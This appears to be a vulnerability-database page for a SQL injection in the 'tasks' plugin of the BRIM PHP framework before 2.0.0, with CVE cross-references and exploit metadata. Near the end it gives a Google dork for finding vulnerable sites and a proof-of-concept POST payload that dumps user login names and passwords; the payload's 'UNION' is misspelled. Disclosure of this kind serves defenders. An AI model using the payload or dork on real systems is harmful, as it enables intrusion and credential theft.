BRIM < 2.0.0 - SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType

BRIM < 2.0.0 SQL Injection vulnerability in "tasks" plugi

Reporter	Title	Published	Views	Family All 10
0day.today	BRIM < 2.0.0 SQL Injection	22 Feb 201200:00	–	zdt
Circl	CVE-2008-4082	30 Aug 200800:00	–	circl
CVE	CVE-2008-4082	15 Sep 200816:00	–	cve
Cvelist	CVE-2008-4082	15 Sep 200816:00	–	cvelist
Exploit DB	Brim < 2.0.0 - SQL Injection	22 Feb 201200:00	–	exploitdb
EUVD	EUVD-2008-4067	7 Oct 202500:30	–	euvd
exploitpack	Brim 2.0.0 - SQL Injection	22 Feb 201200:00	–	exploitpack
NVD	CVE-2008-4082	15 Sep 200817:12	–	nvd
Packet Storm	BRIM SQL Injection	23 Feb 201200:00	–	packetstorm
Prion	Sql injection	15 Sep 200817:12	–	prion


                                                BRIM &#60; 2.0.0 SQL InjectionExploit information

   - Exploit Title: BRIM &#60; 2.0.0 SQL Injection
   - Google Dork: &#34;Brim project&#34; intitle:&#34;Brim - login&#34;
   - Date: 2012-02-20
   - Author: ifnull
   - Tested on: Apache/2.2.3, PHP/5.1.6, MySQL 5.0.45 ? although it should
   work on any environment. Example uses MySQL 5 query escape but can easily
   be ported to prior versions of MySQL.
   - Description: Unlike CVE-2008-4082, this will work with or without
   magic_quotes_gpc enabled. Like the last exploit however, you must first
   create an account and enable &#34;tasks&#34;. By default anyone can create an
   account and the accounts are automatically approved.

Software information

   - Version: &#60; 2.0.0
   - Link: http://sourceforge.net/projects/brim/
   - Description: BRIM is a MVC framework, written in PHP and based on
   items with a hierarchical relationship. The list of plugins make BRIM a
   Information Manager with plugins like bookmarks, a calendar, contacts
   tasks, notes, RSS etc. The application is multilingual.

Proof of ConceptPOST

URI: /index.php
Data: plugin=tasks&field=1%3D1%20UNOIN%20SELECT%201%2C2%2C3%2C4%2CCONCAT(loginname%2C0x3a%2Cpassword)%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%20from%20brim_users--&value=asdf&action=searchTasks

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7

EPSS0.0042